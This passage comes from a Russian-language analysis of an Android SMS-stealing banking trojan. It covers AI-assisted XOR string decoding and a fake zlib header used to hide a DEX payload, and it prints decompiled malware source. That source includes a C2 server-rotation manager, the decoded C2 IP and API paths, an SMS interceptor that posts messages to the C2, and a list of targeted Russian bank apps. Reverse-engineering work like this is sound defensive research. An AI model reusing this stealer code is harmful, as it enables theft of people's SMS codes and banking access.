        sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace')

    parser = argparse.ArgumentParser(
        description="Decode XOR-obfuscated strings from Android malware JADX output"
    )
    parser.add_argument("--jadx-dir", default=".", help="JADX decompiled output directory")
    parser.add_argument("--mode", choices=["smart", "bruteforce", "scan"],
                        default="smart", help="Decoding mode")
    parser.add_argument("--export-json", help="Export decoded strings to JSON file")
    args = parser.parse_args()

    results = process_jadx_dir(args.jadx_dir, args.mode)

    if args.export_json and results:
        with open(args.export_json, 'w', encoding='utf-8') as f:
            json.dump(results, f, indent=2, ensure_ascii=False)
        print(f"Exported {len(results)} strings to {args.export_json}")

    if not results:
        print("\nTip: For extracting string URLs from payload.dex:")
        print("  1. Decompile payload.dex with: jadx -d payload_jadx payload.dex")
        print("  2. Run: python decode_malware.py --jadx-dir payload_jadx --mode bruteforce")
        print("  3. Run: python decode_malware.py --jadx-dir payload_jadx --mode smart")

В начале каждого класса используются следующие статические поля:

Поле

Начальное значение

Класс:строка в коде

F3432883eTlgx

-486

L0b4c3f2QFmO.java:28

F0b0cb632Tlgx

188

L9e63ba2QFmO.java:22

Fac2bad8fTlgx

-437

Ldacae8bQFmO.java:28

F6b3ca6d0Tlgx

467

L51a4aa6QFmO.java:24

F0cd5ee95Tlgx

46

Lfb61d19QFmO(в static-блоке Laed1011QFmO.java:43 - это уже ИИ нашёл)

Ключи вычисляются динамически, например L9e63ba2QFmO.F0b0cb632Tlgx ^ 180 в файлеapp/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/Laed1011QFmO.java :

case 1750595:
  L51a4aa6QFmO.Q2a09e72czACV(L0b4c3f2QFmO.Qcbbc1254zACV(Q86c4afcbzACV(), 49, L9e63ba2QFmO.F0b0cb632Tlgx ^ 180, 1074), Ldacae8bQFmO.Q56c5a16bzACV(Q86c4afcbzACV(), 57, Lfb61d19QFmO.F0cd5ee95Tlgx ^ (-858), 3116));
  if (L0b4c3f2QFmO.F3432883eTlgx >= 0) {
     L0b4c3f2QFmO.Q06be88f1zACV();
     iQde8db453zACV = Lfb61d19QFmO.Qac33b0b7zACV(L434d8b2QFmO.Qdd57eeb5zACV(Febab3b5dTlgx, 529, 3, 2760));
  } 
  else {
   iQde8db453zACV = (L0b4c3f2QFmO.F3432883eTlgx / L9e63ba2QFmO.F0b0cb632Tlgx) + 1753546;
  }
 break;

Скрипт решает следующие задачи

  • Парсит JADX-декомпилированные Java файлы и ищет в них short[] массивы с вызовами *QFmO*();

  • Подставляет известные значения полей (из таблицы выше) в выражения ключей;

  • Декодирует строку по известной нам уже формуле (char)(short_array[offset + i] ^ key);

  • Брутфорсом перебирает все 65536 ключей с проверкой читаемости результата (функция find_best_key).

Погонял я скрипт, но ничего интересного не извлек из этих java файлов: только пути для загрузки DEX и системные вызовы. Переходим к анализу дальше.

payload.dex

Сейчас посмотрим, что за этот dex. В папке app/src/main/assets/ видим следующие файлы:

app/src/main/assets/
app/src/main/assets/

DycyX.mb - это упакованный DEX, который и загружается указанным кодом выше.

cfg.dat и .Xj3X3sxItIypfDAA.txt - шифрованные файлы, какой-то набор байт - нас они не интересуют в данный момент.

Начинаем разбираться с нашим DEX файлом. Выше я уже говорил про ZIP poisoning - тут примерно тоже самое. Посмотрим начало файла DycyX.mb:

hex DycyX.mb
hex DycyX.mb

Первые 2 байта (78 9C) имитируют zlib-заголовок: 78 — заголовок zlib (deflate, окно 32K), а 9C — контрольная сумма zlib. Далее мы видим сигнатуру DEX-файла (выделена на скриншоте выше). Это трюк для обхода автоматических сигнатурных сканеров: утилиты видят “сжатый” файл и не анализируют его как DEX.

Откидываем два байта простым скриптом:

data = read("DycyX.mb")
dex = data[2:]  # откидываем 2 первых байта фейкового zlib-заголовока
write("payload.dex", dex)

#либо для тех, кто любит однострочники (но их две, да)
data = open('app/src/main/assets/DycyX.mb', 'rb').read()
open('app/src/main/assets/payload.dex', 'wb').write(data[2:])

С полученным dex файлом начинаем проделывать то же самое - закидываем в JADX-GUI и смотрим, что получилось.

payload.dex
payload.dex

Сразу видно уже знакомые нам из манифеста имена сервисов приложения:

service

Строка 57: android:name="com.reawlme.kcupeyue.POIX1UVS23"
Строка 71: android:name="com.reawlme.kcupeyue.POIX1UVS20"
Строка 74: android:name="com.reawlme.kcupeyue.POIX1UVS22"
Строка 87: android:name="com.reawlme.kcupeyue.POIX1UVS21"
Строка 92: android:name="com.reawlme.kcupeyue.POIX1UVS19"
Строка 96: android:name="com.reawlme.kcupeyue.POIX1UVS16"
Строка 105: android:name="com.reawlme.kcupeyue.POIX1UVS12"
Строка 114: android:name="com.reawlme.kcupeyue.POIX1UVS1"
Строка 124: android:name="com.reawlme.kcupeyue.POIX1UVS18"

Извлечённых файлов получилось много, поэтому на полученную папку натравливаю вновь OpenCode с API Deepseek и прошу разобрать структуру. Получилось следующее:

Файл

Роль

MainActivity.java

Точка входа, WebView для фишинга

Http.java

HTTP-клиент с шифрованием (о нем будет ниже)

C0715a.java

Менеджер конфигурации

C0717c.java

Менеджер серверов (bootstrap + ротация)

POIX1UVS16.java

SMS-перехватчик

POIX1UVS19.java

Сбор данных и отправка на сервер

POIX1UVS21.java

Foreground-сервис C2

POIX1UVS1.java

Boot-ресивер

В пакете p000a 324 файла, в которых ИИ увидел обфусцированные R8/ProGuard вспомогательные классы. Сделал этот вывод он по формату переменных:

  • Классы переименованы: p000a.C0000a, p000a.C0058bk, p000a.C0290u7

  • Методы: m117a(), m560b(), m604d()

  • Поля: f521a, f580f, f599c

Честно скажу - я ни разу не сталкивался с данным обфускатором (я с Java не работаю в профессиональном плане), но благо в интернете есть уже готовые проекты, например - https://github.com/LXGaming/Reconstruct . Как сказано в ответе stackoverflow ProGuard больше минимайзер - заменяет названия классов, методов и переменных на максимально возможно короткие (что мы увидели уже). Но строковые константы закодированы другим алгоритмом.

Цепочка вызовов идёт следующим образом:

POIX1UVS16.m878e()                               — SMS-перехватчик
  └→ Http.m850q(context, URL, json, id)          — отправка SMS
       └→ C0058bk.m121e(context)                 — получение panel_url
            └→ C0715a.getPanelUrl()              — C0715a.java:81-83
                 └→ C0717c.getCurrentServerUrl() — C0717c.java:206-214
                      └→ server.getUrl()         — C0717c.java:72-74
                           └→ C0290u7.m574p() + ip + ":" + port

Незамысловатая функция с говорящим названием getBootstrapUrl вызывается в файле payload_jadx/sources/com/reawlme/kcupeyue/C0717c.java:

public String getBootstrapUrl() {
    return C0290u7.m574p() + C0290u7.m561c() + ":80";
    //     "http://"     + IP адрес       + ":80"
}

А строковые константы шифруются следующей функцией (файл payload_jadx/sources/ p000a/C0290u7.java):

C0290u7.java:строки 128-156
    /* JADX INFO: renamed from: a */
    private static String m559a(int[] iArr, int i) {
        int length = iArr.length;
        char[] cArr = new char[length];
        int i2 = 0;
        while (true) {
            int i3 = 29364;
            while (true) {
                int i4 = (i3 ^ 29364) % 5;
                if (i4 == 0) {
                    cArr[i2] = (char) (iArr[i2] ^ ((((i2 * 13) + i) + 7) & 255));
                } else if (i4 == 1) {
                    i2++;
                    if (i2 < length) {
                        break;
                    }
                    i3 = 29366;
                } else {
                    if (i4 == 2) {
                        return new String(cArr);
                    }
                    if (i4 != 3) {
                        if (i4 != 4) {
                        }
                    }
                }
                i3 = 29365;
            }
        }
    }

Формула почти напоминает формулу выше, но чутка другая - на внешний вид это позиционно-зависимый XOR. ИИ подсказал, что таблица диспетчеризации находится в этом же файле дальше этой функции в строках 159-230.

Метод m560b(index) использует хеш ((index * 10003) + 20113) % 41 для выбора массива и ключа. Прошу ИИ написать мне скрипт для декодирования - вот полученный результат:

decode_payload.py
#!/usr/bin/env python3
"""Decode strings from C0290u7 (HTTP constants) and C0293v0 (FenrirCrypto keys)."""

# ─── C0290u7 decoder ──────────────────────────────────────
def decode_u7(arr, key):
    """cArr[i] = (char)(iArr[i] ^ (((i*13) + key + 7) & 255))"""
    return ''.join(chr(v ^ (((i * 13) + key + 7) & 255)) for i, v in enumerate(arr))

u7_arrays = {
    'f351b': ([110, 61, 47, 7, 7, 231, 160, 245, 199, 192, 166, 190, 169, 133, 133, 125], 58),
    'f353d': ([125, 44, 24, 22, 244, 246, 143, 194, 200, 163, 177, 147, 193], 75),
    'f355f': ([76, 3, 9, 229, 229, 193, 158, 221, 163, 189, 134, 153, 144, 121, 109], 92),
    'f357h': ([91, 242, 250, 244, 218, 208, 237, 189, 185, 143, 131, 109, 116], 109),
    'f359j': ([170, 255, 250, 200, 208, 167, 252, 149, 157, 150, 102, 117, 69], 126),
    'f361l': ([185, 206, 213, 217, 163, 182, 203, 131, 155, 123, 119, 87, 70], 143),
    'f363n': ([135, 216, 167, 171, 181, 136, 217, 115, 98, 114, 73, 82, 55, 34], 161),
    'f365p': ([150, 165, 183, 142, 194, 155, 116, 103, 68, 90, 20], 178),
    'f367r': ([229, 180, 128, 159, 209, 101, 119, 65, 87, 76], 195),
    'f369t': ([234, 223, 195, 44, 62, 46, 29, 24, 113, 98, 111, 68, 79, 181], 212),
    'f371v': ([180, 212, 64, 118, 78, 95, 83, 53, 121, 36, 0, 24], 229),
    'f373x': ([165, 39, 86, 116, 120, 19, 0, 61, 28], 246),
    'f375z': ([122, 78, 78, 44, 49, 58, 65, 16, 226], 23),
    'f339ab': ([108, 83, 39, 34, 6, 30, 9, 167, 195, 221, 193, 219], 40),
    'f341ad': ([33, 61, 42, 11, 29, 226, 239, 239, 193, 218, 172, 224, 182, 154, 153, 109, 43, 61, 73, 95, 37, 35, 45, 14, 12, 184, 231, 235, 202, 148, 254], 57),
    'f343af': ([23, 16, 57, 73], 74),
    'f345ah': ([10, 27, 8, 249, 172, 140, 159], 91),
    'f347aj': ([66], 108),
    'f349al': ([31, 251, 232, 201, 219, 220, 173, 173, 143, 156, 110, 34, 112, 84, 91, 47], 119),
}

# ─── C0293v0 decoder ──────────────────────────────────────
def decode_v0(arr, key):
    """cArr[i] = (char)(iArr[i] ^ (((i*13) + key + 7) & 255))"""
    return ''.join(chr(v ^ (((i * 13) + key + 7) & 255)) for i, v in enumerate(arr))

v0_arrays = {
    'f380d': ([66, 25, 118, 120, 3, 37, 177, 174], 45),
    'f382f': ([50, 31, 105, 44, 8, 200, 170, 132], 62),
    'f384h': ([36, 55, 66, 91, 224, 219, 145, 155], 79),
    'f386j': ([4, 50, 182, 171, 249, 224, 133, 167], 96),
    'f388l': ([215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81], None),  # special
}

print("=" * 70)
print("C0290u7 DECODED STRINGS (HTTP Headers / API paths / Config)")
print("=" * 70)

# Build hash->array mapping (same as m560b switch)
# hash = ((i * 10003) + 20113) % 41
# Case labels: 5=f349al, 6=f347aj, 7=f345ah, 8=f343af, 9=f341ad,
#              10=f339ab, 11=f375z, 12=f373x, 13=f371v, 14=f369t,
#              15=f367r, 16=f365p, 17=f363n, 18=f361l, 19=f359j,
#              20=f357h, 21=f355f, 22=f353d, 23=f351b

hash_to_arr = {
    5: 'f349al', 6: 'f347aj', 7: 'f345ah', 8: 'f343af', 9: 'f341ad',
    10: 'f339ab', 11: 'f375z', 12: 'f373x', 13: 'f371v', 14: 'f369t',
    15: 'f367r', 16: 'f365p', 17: 'f363n', 18: 'f361l', 19: 'f359j',
    20: 'f357h', 21: 'f355f', 22: 'f353d', 23: 'f351b',
}

# Function names from C0290u7
func_index = {
    'm573o()': 0, 'm563e()': 1, 'm575q()': 2, 'm576r()': 3,
    'm577s()': 4, 'm578t()': 5, 'm579u()': 6, 'm562d()': 7,
    'm572n()': 8, 'm561c()': 9, 'm568j()': 10, 'm565g()': 11,
    'm567i()': 12, 'm566h()': 13, 'm570l()': 14, 'm571m()': 15,
    'm574p()': 16, 'm564f()': 17, 'm569k()': 18,
}

# Context hints from Http.java
context_hints = {
    4: 'SMS upload path (POIX1UVS16)',
    10: 'Content-Type header',
    11: 'deviceId header (API key check)',
    12: 'deviceId url param (post)',
    13: 'Encryption header key',
    14: 'application/json content type',
    15: 'Encryption prefix (Fenrir crypto)',
    17: 'text/plain content type',
    18: 'Encryption header value',
}

print(f"\n{'Function':<15} {'Index':<6} {'Hash':<6} {'Name':<10} {'Decoded String'}")
print("-" * 70)
for fn_name, idx in sorted(func_index.items(), key=lambda x: x[1]):
    h = ((idx * 10003) + 20113) % 41
    arr_name = hash_to_arr.get(h, '???')
    if arr_name in u7_arrays:
        arr, key = u7_arrays[arr_name]
        decoded = decode_u7(arr, key)
    else:
        decoded = '(no array)'
    hint = context_hints.get(idx, '')
    print(f'{fn_name:<15} {idx:<6} {h:<6} {arr_name:<10} \"{decoded}\"  {hint}')

print()
print("=" * 70)
print("C0293v0 DECODED STRINGS (FenrirCrypto keys)")
print("=" * 70)

v0_strings = {}
for name, (arr, key) in v0_arrays.items():
    if name == 'f388l':
        # Special decoding: f379c[i] = (byte)(f388l[i] ^ (((i*11)+116)&255))
        keybytes = bytes(v ^ (((i * 11) + 116) & 255) for i, v in enumerate(arr))
        print(f'  f388l (IV/key bytes): {keybytes.hex()} (len={len(keybytes)})')
    else:
        s = decode_v0(arr, key)
        v0_strings[name] = s
        print(f'  {name} (key={key}): \"{s}\"')

# The crypto key = m606f() = concat of f380d + f382f + f384h + f386j
crypto_key = ''.join(v0_strings.get(n, '') for n in ['f380d', 'f382f', 'f384h', 'f386j'])
print(f'\n  FENRIR CRYPTO KEY (32 chars): \"{crypto_key}\"')
print(f'  Crypto module name: "FenrirCrypto"')

Полученные значения после работы скрипта:

Метод

m560b(index)

Декодированная строка

m574p()

16

http://

m561c()

9

76.124.222.81 - вот наш IP C2-сервера

m572n()

8

/cdn/nodes

m573o()

0

/store/inventory

m563e()

1

/store/order/

m575q()

2

/store/checkout

m576r()

3

/store/refund

m577s()

4

/media/uplaad (это не опечатка - реально такая строка)

m578t()

5

/media/report

m579u()

6

/media/process

m562d()

7

/cdn/asset/

m568j()

10

X-Fenrir-Enc (запомним это имя)

m565g()

11

X-API-Key

m567i()

12

device-id

m566h()

13

Content-Type

m570l()

14

application/json; charset=utf-8

m571m()

15

FNR1 (опять этот Фенрир)

m564f()

17

1

m569k()

18

application/json

Bootstrap сервер жестко задан: http://176.124.222.81:80/cdn/nodes Данный IP адрес мы уже видели в отчёте VirusTotal. К сожалению (точнее к счастью), сервер уже не доступен. А так бы можно было получить JSON следующего формата (ИИ востановил структуру из файла C0717.java)

C0717.java
package com.reawlme.kcupeyue;

import android.content.Context;
import android.content.SharedPreferences;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.concurrent.TimeUnit;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.json.JSONArray;
import org.json.JSONObject;
import p000a.C0210m7;
import p000a.C0290u7;

/* JADX INFO: renamed from: com.reawlme.kcupeyue.c */
/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class C0717c {

    /* JADX INFO: renamed from: e */
    private static final String f590e = "ServerManager";

    /* JADX INFO: renamed from: f */
    private static final String f591f = "server_config";

    /* JADX INFO: renamed from: g */
    private static final int f592g = 80;

    /* JADX INFO: renamed from: h */
    private static final String f593h = "servers_json";

    /* JADX INFO: renamed from: i */
    private static final String f594i = "current_index";

    /* JADX INFO: renamed from: j */
    private static final String f595j = "last_update";

    /* JADX INFO: renamed from: k */
    private static C0717c f596k;

    /* JADX INFO: renamed from: a */
    private final SharedPreferences f597a;

    /* JADX INFO: renamed from: b */
    private final Context f598b;

    /* JADX INFO: renamed from: c */
    private final List<a> f599c;

    /* JADX INFO: renamed from: d */
    private int f600d;

    /* JADX INFO: renamed from: com.reawlme.kcupeyue.c$a */
    public static class a {

        /* JADX INFO: renamed from: a */
        public String f601a;

        /* JADX INFO: renamed from: b */
        public int f602b;

        /* JADX INFO: renamed from: c */
        public int f603c;

        public a(String str, int i, int i2) {
            this.f601a = str;
            this.f602b = i;
            this.f603c = i2;
        }

        public String getUrl() {
            return C0290u7.m574p() + this.f601a + ":" + this.f602b;
        }

        public String toString() {
            return this.f601a + ":" + this.f602b + " (prio:" + this.f603c + ")";
        }
    }

    private C0717c(Context context) {
        Context applicationContext = context.getApplicationContext();
        this.f598b = applicationContext;
        SharedPreferences sharedPreferences = applicationContext.getSharedPreferences(f591f, 0);
        this.f597a = sharedPreferences;
        this.f599c = new ArrayList();
        this.f600d = sharedPreferences.getInt(f594i, 0);
        m929g();
    }

    /* JADX INFO: renamed from: d */
    public static synchronized C0717c m927d(Context context) {
        try {
            if (f596k == null) {
                f596k = new C0717c(context);
            }
        } catch (Throwable th) {
            throw th;
        }
        return f596k;
    }

    /* JADX INFO: Access modifiers changed from: private */
    /* JADX INFO: renamed from: f */
    public static /* synthetic */ int m928f(a aVar, a aVar2) {
        return Integer.compare(aVar2.f603c, aVar.f603c);
    }

    /* JADX INFO: renamed from: g */
    private void m929g() {
        String string = this.f597a.getString(f593h, null);
        if (string == null || string.isEmpty()) {
            return;
        }
        try {
            m930h(string);
            this.f599c.size();
        } catch (Exception e) {
            e.getMessage();
            this.f599c.clear();
        }
    }

    /* JADX INFO: renamed from: h */
    private void m930h(String str) throws Exception {
        JSONObject jSONObject = new JSONObject(str);
        if (!jSONObject.optBoolean("success", false)) {
            throw new Exception("Server returned success=false");
        }
        this.f599c.clear();
        JSONArray jSONArray = jSONObject.getJSONArray("servers");
        for (int i = 0; i < jSONArray.length(); i++) {
            JSONObject jSONObject2 = jSONArray.getJSONObject(i);
            this.f599c.add(new a(jSONObject2.getString("ip"), jSONObject2.optInt("port", f592g), jSONObject2.optInt("priority", 0)));
        }
        this.f599c.sort(new C0210m7());
        if (this.f600d >= this.f599c.size()) {
            this.f600d = 0;
            m931j();
        }
    }

    /* JADX INFO: renamed from: j */
    private void m931j() {
        this.f597a.edit().putInt(f594i, this.f600d).apply();
    }

    /* JADX INFO: renamed from: k */
    private void m932k(String str) {
        this.f597a.edit().putString(f593h, str).putLong(f595j, System.currentTimeMillis()).apply();
    }

    /* JADX INFO: renamed from: b */
    public void m933b() {
        this.f599c.clear();
        this.f600d = 0;
        this.f597a.edit().clear().apply();
    }

    /* JADX INFO: renamed from: c */
    public boolean m934c() {
        String str = getBootstrapUrl() + C0290u7.m572n();
        try {
            OkHttpClient.Builder builder = new OkHttpClient.Builder();
            TimeUnit timeUnit = TimeUnit.SECONDS;
            Response responseExecute = builder.connectTimeout(10L, timeUnit).readTimeout(10L, timeUnit).build().newCall(new Request.Builder().url(str).get().build()).execute();
            if (!responseExecute.isSuccessful() || responseExecute.body() == null) {
                responseExecute.code();
                return false;
            }
            String strString = responseExecute.body().string();
            m930h(strString);
            m932k(strString);
            this.f599c.size();
            Objects.toString(this.f599c);
            return this.f599c.size() > 0;
        } catch (Exception e) {
            e.getMessage();
            return false;
        }
    }

    /* JADX INFO: renamed from: e */
    public boolean m935e() {
        return !this.f599c.isEmpty();
    }

    public List<a> getAllServers() {
        return new ArrayList(this.f599c);
    }

    public String getBootstrapUrl() {
        return C0290u7.m574p() + C0290u7.m561c() + ":80";
    }

    public a getCurrentServer() {
        if (this.f599c.isEmpty()) {
            return null;
        }
        if (this.f600d >= this.f599c.size()) {
            this.f600d = 0;
        }
        return this.f599c.get(this.f600d);
    }

    public String getCurrentServerUrl() {
        if (this.f599c.isEmpty()) {
            return null;
        }
        if (this.f600d >= this.f599c.size()) {
            this.f600d = 0;
        }
        return this.f599c.get(this.f600d).getUrl();
    }

    public long getLastUpdateTime() {
        return this.f597a.getLong(f595j, 0L);
    }

    public int getServerCount() {
        return this.f599c.size();
    }

    /* JADX INFO: renamed from: i */
    public synchronized void m936i() {
        if (this.f600d != 0) {
            this.f600d = 0;
            m931j();
            Objects.toString(getCurrentServer());
        }
    }

    /* JADX INFO: renamed from: l */
    public synchronized boolean m937l() {
        if (this.f599c.size() <= 1) {
            return false;
        }
        a currentServer = getCurrentServer();
        this.f600d = (this.f600d + 1) % this.f599c.size();
        m931j();
        a currentServer2 = getCurrentServer();
        Objects.toString(currentServer);
        Objects.toString(currentServer2);
        return true;
    }
}
JSON
{ “success”: true, 
 “servers”: [ 
   {“ip”: “176.124.222.81”, “port”: 80, “priority”: 10}, 
   {“ip”: “другой_сервер”, “port”: 80, “priority”: 5} 
 ] 
}

Сервера сортируются по priority, индекс текущего сохраняется в SharedPreferences. При ошибке — ротация на следующий сервер (строки 234-245 в C0717c.java).

Исходя из кода, ИИ выделил следующие точки API:

API

HTTP

Где вызывается

Данные

/store/inventory

не определил

Регистрация устройства

/store/checkout

POST

POIX1UVS19.java:362-38

Полный дамп: device_id, worker, device_model, android_version, app_name, phone_number, sim_count, found_apps, sms_archive

/store/order/

GET

Заказ - скорее всего получение команд что нужно украсть

/store/refund

GET

POIX1UVS19.java:433

Проверка retry_phone

/media/uplaad

POST

POIX1UVS16.java:77

Перехваченное SMS: device_id, sender, text, sim_slot

/media/report

?

Отчёт

/media/process

?

/cdn/asset/

?

CDN-ресурсы

/cdn/nodes

GET

C0717c.java:162-166

Список серверов

POIX1UVS16.java
package com.reawlme.kcupeyue;

import android.app.role.RoleManager;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.PowerManager;
import android.provider.Telephony;
import android.telephony.SmsMessage;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.HttpUrl;
import okhttp3.Response;
import org.json.JSONObject;
import p000a.AbstractC0282u;
import p000a.C0058bk;
import p000a.C0102cs;
import p000a.C0290u7;

/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class POIX1UVS16 extends BroadcastReceiver {

    /* JADX INFO: renamed from: a */
    private static final String f539a = "POIX1UVS16";

    /* JADX INFO: renamed from: b */
    private int m875b(Bundle bundle) {
        int i = bundle.getInt("slot", -1);
        if (i == -1) {
            i = bundle.getInt("simId", -1);
        }
        if (i == -1) {
            i = bundle.getInt("phone", -1);
        }
        if (i == -1) {
            i = bundle.getInt("subscription", 0);
        }
        return i + 1;
    }

    /* JADX INFO: renamed from: c */
    private boolean m876c(Context context) {
        if (Build.VERSION.SDK_INT < 29) {
            return context.getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(context));
        }
        RoleManager roleManagerM525c = AbstractC0282u.m525c(context.getSystemService("role"));
        return roleManagerM525c != null && roleManagerM525c.isRoleHeld("android.app.role.SMS");
    }

    /* JADX INFO: Access modifiers changed from: private */
    /* JADX INFO: renamed from: d */
    public void m877d(PowerManager.WakeLock wakeLock) {
        if (wakeLock != null) {
            try {
                if (wakeLock.isHeld()) {
                    wakeLock.release();
                }
            } catch (Exception unused) {
            }
        }
    }

    /* JADX INFO: renamed from: e */
    private void m878e(Context context, String str, String str2, int i, final PowerManager.WakeLock wakeLock) {
        try {
            String strM230b = C0102cs.m230b(context);
            String str3 = C0058bk.m121e(context) + C0290u7.m577s();
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("device_id", strM230b);
            jSONObject.put("sender", str);
            jSONObject.put("text", str2);
            jSONObject.put("sim_slot", i);
            str2.substring(0, Math.min(50, str2.length()));
            Http.m850q(context, str3, jSONObject.toString(), strM230b, new Callback() { // from class: com.reawlme.kcupeyue.POIX1UVS16.1
                @Override // okhttp3.Callback
                public void onFailure(Call call, IOException iOException) {
                    iOException.getMessage();
                    POIX1UVS16.this.m877d(wakeLock);
                }

                @Override // okhttp3.Callback
                public void onResponse(Call call, Response response) {
                    response.code();
                    response.close();
                    POIX1UVS16.this.m877d(wakeLock);
                }
            });
        } catch (Exception unused) {
            m877d(wakeLock);
        }
    }

    /* JADX INFO: renamed from: f */
    private void m879f(Context context) {
        POIX1UVS21 poix1uvs21 = POIX1UVS21.getInstance();
        if (poix1uvs21 != null) {
            poix1uvs21.acquireWakeLock();
            poix1uvs21.sendPing();
        } else {
            Intent intent = new Intent(context, (Class<?>) POIX1UVS21.class);
            intent.setAction("SMS_EVENT");
            context.startForegroundService(intent);
        }
    }

    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        if (intent == null) {
            return;
        }
        String action = intent.getAction();
        if (m876c(context)) {
            if (!"android.provider.Telephony.SMS_DELIVER".equals(action)) {
                return;
            }
        } else if (!"android.provider.Telephony.SMS_RECEIVED".equals(action)) {
            return;
        }
        if ("android.provider.Telephony.SMS_RECEIVED".equals(action) || "android.provider.Telephony.SMS_DELIVER".equals(action)) {
            PowerManager.WakeLock wakeLockNewWakeLock = ((PowerManager) context.getSystemService("power")).newWakeLock(1, "POIX1UVS16:Lock");
            wakeLockNewWakeLock.acquire(30000L);
            try {
                Bundle extras = intent.getExtras();
                if (extras != null) {
                    Object[] objArr = (Object[]) extras.get("pdus");
                    String string = extras.getString("format");
                    if (objArr != null) {
                        StringBuilder sb = new StringBuilder();
                        int iM875b = m875b(extras);
                        String originatingAddress = HttpUrl.FRAGMENT_ENCODE_SET;
                        for (Object obj : objArr) {
                            SmsMessage smsMessageCreateFromPdu = SmsMessage.createFromPdu((byte[]) obj, string);
                            originatingAddress = smsMessageCreateFromPdu.getOriginatingAddress();
                            sb.append(smsMessageCreateFromPdu.getMessageBody());
                        }
                        m878e(context, originatingAddress, sb.toString(), iM875b, wakeLockNewWakeLock);
                        m879f(context);
                        return;
                    }
                }
            } catch (Exception unused) {
            }
            if (wakeLockNewWakeLock.isHeld()) {
                wakeLockNewWakeLock.release();
            }
        }
    }
}
POIX1UVS19
package com.reawlme.kcupeyue;

import android.app.Service;
import android.app.role.RoleManager;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.os.IBinder;
import android.provider.Telephony;
import android.telephony.SmsManager;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import androidx.core.content.ContextCompat;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.TimeZone;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.Response;
import org.json.JSONArray;
import org.json.JSONObject;
import p000a.AbstractC0282u;
import p000a.C0058bk;
import p000a.C0102cs;
import p000a.C0290u7;
import p000a.RunnableC0021ak;

/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class POIX1UVS19 extends Service {

    /* JADX INFO: renamed from: b */
    private static final String f542b = "POIX1UVS19";

    /* JADX INFO: renamed from: c */
    private static final int f543c = 10;

    /* JADX INFO: renamed from: d */
    private static final int f544d = 5000;

    /* JADX INFO: renamed from: e */
    private static boolean f545e;

    /* JADX INFO: renamed from: f */
    private static boolean f546f;

    /* JADX INFO: renamed from: g */
    private static final Map<String, String> f547g = new C0706a();

    /* JADX INFO: renamed from: a */
    private int f548a = 0;

    /* JADX INFO: renamed from: com.reawlme.kcupeyue.POIX1UVS19$a */
    public class C0706a extends HashMap<String, String> {
        public C0706a() {
            put("Сбербанк", "ru.sberbankmobile");
            put("ВТБ", "ru.vtb24.mobilebanking");
            put("Альфа-Банк", "ru.alfabank.mobile.android");
            put("Тинькофф", "com.idamob.tinkoff.android");
            put("Газпромбанк", "ru.gazprombank.android");
            put("Открытие", "ru.openbank");
            put("ПСБ", "ru.psbank.mobile");
            put("Райффайзенбанк", "ru.raiffeisennews");
            put("МКБ", "ru.mkb.mobile");
            put("Росбанк", "ru.rosbank.android");
            put("ЮниКредит", "ru.unicredit");
            put("Уралсиб", "ru.uralsib.smarthome");
            put("Совкомбанк", "ru.sovcombank.android");
            put("СКБ-Банк", "ru.skbkontur.client");
            put("Почта Банк", "ru.pochta.bank");
            put("СберБизнес", "ru.sberbank_sbbol");
            put("Госуслуги", "ru.gosuslugi");
            put("Госключ", "ru.gosuslugi.goskey");
            put("Wildberries", "com.wildberries.ru");
            put("Ozon", "ru.ozon.app.android");
            put("Яндекс", "ru.yandex.searchplugin");
            put("WhatsApp", "com.whatsapp");
        }
    }

    /* JADX WARN: Removed duplicated region for block: B:34:0x0160 A[LOOP:1: B:31:0x0108->B:34:0x0160, LOOP_END] */
    /* JADX WARN: Removed duplicated region for block: B:38:0x0168 A[PHI: r12
  0x0168: PHI (r12v7 android.database.Cursor) = (r12v6 android.database.Cursor), (r12v8 android.database.Cursor) binds: [B:42:0x0172, B:37:0x0166] A[DONT_GENERATE, DONT_INLINE]] */
    /* JADX WARN: Removed duplicated region for block: B:57:0x0166 A[EDGE_INSN: B:57:0x0166->B:37:0x0166 BREAK  A[LOOP:1: B:31:0x0108->B:34:0x0160], SYNTHETIC] */
    /* JADX INFO: renamed from: f */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
    */
    private String m885f() {
        String str;
        String str2;
        String str3 = "date";
        String str4 = "body";
        StringBuilder sb = new StringBuilder("╔══════════════════════════════════════╗\n║          SMS ARCHIVE                 ║\n╠══════════════════════════════════════╣\n║ Date: ");
        SimpleDateFormat simpleDateFormat = new SimpleDateFormat("dd.MM.yyyy HH:mm:ss");
        simpleDateFormat.setTimeZone(TimeZone.getTimeZone("Europe/Moscow"));
        sb.append(simpleDateFormat.format(new Date()));
        sb.append("\n║ Device: ");
        sb.append(Build.MODEL);
        sb.append("\n╚══════════════════════════════════════╝\n\n┌──────────────────────────────────────┐\n│            INBOX MESSAGES            │\n└──────────────────────────────────────┘\n\n");
        int i = 1;
        Cursor cursorQuery = null;
        try {
            try {
                cursorQuery = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 200");
                if (cursorQuery == null || !cursorQuery.moveToFirst()) {
                    str = "date";
                    str2 = "body";
                } else {
                    int i2 = 1;
                    while (true) {
                        String string = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address"));
